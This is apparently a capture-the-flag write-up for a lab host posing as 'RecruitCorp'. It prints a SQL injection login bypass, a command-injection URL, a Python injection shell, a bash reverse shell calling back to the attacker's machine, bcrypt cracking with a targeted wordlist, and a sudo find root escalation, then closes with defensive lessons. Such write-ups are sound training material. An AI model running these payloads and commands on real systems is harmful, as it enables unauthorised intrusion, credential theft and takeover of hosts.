Operation Promotion

Jul 10, 2026

|

6 min read

| Room ↗

The framing is a promotion assessment: Hadron Security hands you a solo engagement against RecruitCorp, a small recruiting firm with a public-facing portal. Compromise the host, grab the flags, prove you’re ready for the Penetration Tester title.

Recon

The usual opening move, a full service scan.

nmap: service & script scan
nmap -sV -sC 10.128.137.69
result (trimmed)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin/
|_http-title: RecruitCorp - Careers Portal
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux

SSH, an Apache “Careers Portal”, and Samba. The careers site itself is a brochure with nothing to grab, but nmap already leaked the interesting bit: robots.txt disallows /admin/. Telling a crawler to stay out is telling an attacker exactly where to look.

Breaking into /admin: SQL injection

/admin/ is an “Internal admin portal” login. Before anything clever, the oldest test in the book, a single quote in the username to see if the login builds its query by string concatenation. It does, so the classic always-true predicate walks straight past authentication:

username payload
' or 1=1 --
The /admin login with the SQLi payload in the username field
The internal admin portal login, primed with ' or 1=1 --

That lands us in the RecruitCorp admin console, authenticated as admin:

RecruitCorp admin dashboard after the bypass
The admin console: a 'User Lookup' by ID and a couple of quick links

The admin console points the way

The console’s one real feature is a User Lookup that fetches a record by numeric ID. Walking the IDs is a quick enumeration. id=1 is the admin account we’re already riding:

User Lookup id=1 showing the admin account
id=1: admin / role admin / 'Primary admin account.'

Keep walking and id=7 is the one that matters, a service account whose notes hand us the next target outright:

User Lookup id=7 revealing the sysmaint service account
id=7: sysmaint / role system / 'Service account for /admin/sysmaint-checks/ping.php. Do not disable.'

NOTE

The notes field is the whole hint. sysmaint’s record says its job is /admin/sysmaint-checks/ping.php. A maintenance endpoint that “pings” a host is a command-execution smell before we’ve even opened it.

Command injection in ping.php

The endpoint takes a host parameter and runs a ping against it:

ping.php running a ping against a supplied host
ping.php?host=... returns real ping output, so it's shelling out

Real ping output means the value reaches a shell. If there’s no sanitisation, a newline (%0a) ends the ping line and starts a second command. Testing with whoami:

host=127.0.0.1%0awhoami
http://10.128.137.69/admin/sysmaint-checks/ping.php?host=127.0.0.1%0awhoami
response tail
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.024/0.024/0.024/0.000 ms
www-data

www-data printed after the ping stats, that’s RCE. Rather than fight the browser for every command, I wrapped it in a tiny interactive shell that injects each command and trims the ping noise off the response:

minishell.py
import requests
URL = "http://10.128.137.69/admin/sysmaint-checks/ping.php"
s = requests.Session()
s.cookies.set("PHPSESSID", "████████████████████████")
def run(cmd):
r = s.get(URL, params={"host": f"127.0.0.1;{cmd}"})
_, sep, after = r.text.partition("mdev = ")
if sep:
return after.split("\n", 1)[1].strip() if "\n" in after else ""
return r.text.strip()
while True:
cmd = input("$ ")
if cmd.strip() in ("exit", "quit"):
break
print(run(cmd))

Handy, but a proper reverse shell is quicker to work in, so I used the script once to fire one:

catch a shell as www-data
nc -lvnp 4444 # on my box
# injected via the endpoint:
bash -c 'bash -i >& /dev/tcp/<my-ip>/4444 0>&1'

Then upgraded the dumb shell to a real PTY:

tty upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm

Looting: a bcrypt hash in db.conf

A short poke around the webroot turns up the application’s database config, which someone helpfully “pulled out of source control”:

/var/www/html/config/db.conf
# RecruitCorp application database config
# Pulled out of source control - DO NOT COMMIT.
db_host=localhost
db_name=recruitcorp
db_user=jford
db_pass_hash=$2b$10$████████████████████████████████████████████████████
db_engine=sqlite3

A bcrypt hash ($2b$) for a real user, jford, who isn’t in the admin user-lookup table. CrackStation has nothing, so it’s straight to hashcat in mode 3200:

hashcat: bcrypt against rockyou
hashcat -m 3200 hash.txt ~/thm/wordlists/rockyou.txt -o output.txt

bcrypt is deliberately slow, and rockyou grinds with no result. This is the point where the box wants you to stop brute-forcing blindly and start thinking about who jford is.

Cracking with a targeted wordlist

I tried to find other foothold but it seems the hash is the only anchor, so I built a targeted wordlist instead of a generic one. The careers site gives up some keyword material (company, seasons, location, the surname), and psudohash mangles those into realistic password mutations:

keywords from the site
RecruitCorp Spring Summer Singapore Ford 2026 2019
psudohash: first pass (too big)
python3 psudohash.py -w RecruitCorp,Singapore,Spring,Summer,Ford -y 2026,2019 -cpa
# ~2 GB of candidates, ~19 h estimated against bcrypt

Two gigabytes of candidates is a ~19-hour crack against bcrypt, unworkable. This is a CTF, so the password is probably simple; the win is trimming the keyword set and padding hard rather than throwing everything at it:

psudohash: trimmed and precise
python3 psudohash.py -w RecruitCorp,Spring -y 2026,2019 -ap '!,@,$' -cpa -cpo

-cpo keeps the common-padding-only set (no thousand-variant padding), which drops the estimate to a manageable ~16 minutes:

hashcat: targeted list
hashcat -m 3200 hash.txt generated_wordlist.txt -o output.txt
cracked
$2b$10$████... : ████████████

The password works over SSH:

SSH as jford + user flag
❯ ssh jford@10.128.137.69
jford@recruitcorp:~$ cat user.txt
THM{████████████████████████████████}

First flag. 🚩

jford → root via sudo find

Standard first move as a new user, check what sudo allows:

sudo -l
jford@recruitcorp:/$ sudo -l
User jford may run the following commands on recruitcorp:
(root) NOPASSWD: /usr/bin/find

find runs as root with no password, and find is a classic GTFOBins entry: -exec can spawn a shell, which inherits root:

sudo find -> root shell
jford@recruitcorp:/$ sudo find . -exec /bin/sh \; -quit
# whoami
root
root flag
# cat /root/flag.txt
THM{████████████████████████████████}

Root, second flag, promotion earned. 🚩

Takeaways

  • robots.txt is a treasure map. Disallowing /admin/ doesn’t hide it, it advertises it. Anything you don’t want found shouldn’t be reachable, not merely un-listed.

  • One quote still ends careers. A raw-concatenated login fell to ' or 1=1 --. Parameterised queries make this class of bug simply not exist.

  • A “ping” box is a shell in disguise. User input reaching a system command with no sanitisation is RCE.

Kill Chain

Reconnaissance T1595
nmap: ssh, http, Samba
robots.txt reveals /admin/
Initial Access T1190
SQLi login bypass on /admin
Discovery T1087
user lookup by ID
sysmaint points to ping.php
Execution T1059.004
ping.php newline injection
www-data reverse shell
Credential Access T1552.001 · T1110.002
db.conf leaks jford bcrypt hash
psudohash wordlist, hashcat crack
Lateral Movement T1021.004
SSH as jford, user flag
Privilege Escalation T1548.003
sudo find -exec /bin/sh, root flag
web sqli command-injection password-cracking linux-privesc